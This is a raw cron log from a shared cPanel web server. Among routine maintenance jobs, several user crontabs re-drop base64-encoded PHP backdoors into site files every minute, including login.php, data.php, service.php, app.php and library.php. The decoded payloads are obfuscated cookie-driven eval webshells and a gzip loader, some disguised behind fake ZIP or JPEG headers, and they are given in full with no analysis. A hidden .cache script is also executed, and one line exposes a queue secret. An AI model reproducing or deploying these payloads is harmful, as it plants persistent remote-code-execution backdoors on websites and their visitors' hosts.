Jun  7 05:43:02 medusa CROND[9936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:43:02 medusa CROND[9937]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:43:02 medusa CROND[9938]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:43:02 medusa CROND[9939]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:43:02 medusa CROND[9942]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:43:02 medusa CROND[9948]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:43:02 medusa CROND[9949]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Jun  7 05:43:02 medusa CROND[9950]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:43:02 medusa CROND[9951]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:43:02 medusa CROND[9953]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:44:02 medusa CROND[11522]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:44:02 medusa CROND[11523]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:44:02 medusa CROND[11524]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:44:02 medusa CROND[11525]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:44:02 medusa CROND[11526]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:44:02 medusa CROND[11527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:44:02 medusa CROND[11528]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:44:02 medusa CROND[11529]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 05:44:02 medusa CROND[11530]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:44:02 medusa CROND[11540]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 05:44:02 medusa CROND[11541]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:44:02 medusa CROND[11544]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:44:02 medusa CROND[11542]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:45:01 medusa CROND[13097]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 05:45:01 medusa CROND[13098]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 05:45:01 medusa CROND[13106]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 05:45:01 medusa CROND[13111]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:45:02 medusa CROND[13162]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 05:45:02 medusa CROND[13165]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:45:02 medusa CROND[13168]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:45:02 medusa CROND[13169]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:45:02 medusa CROND[13170]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:45:02 medusa CROND[13166]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 05:45:02 medusa CROND[13167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:45:02 medusa CROND[13174]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 05:45:02 medusa CROND[13177]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 05:45:02 medusa CROND[13164]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 05:45:02 medusa CROND[13171]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
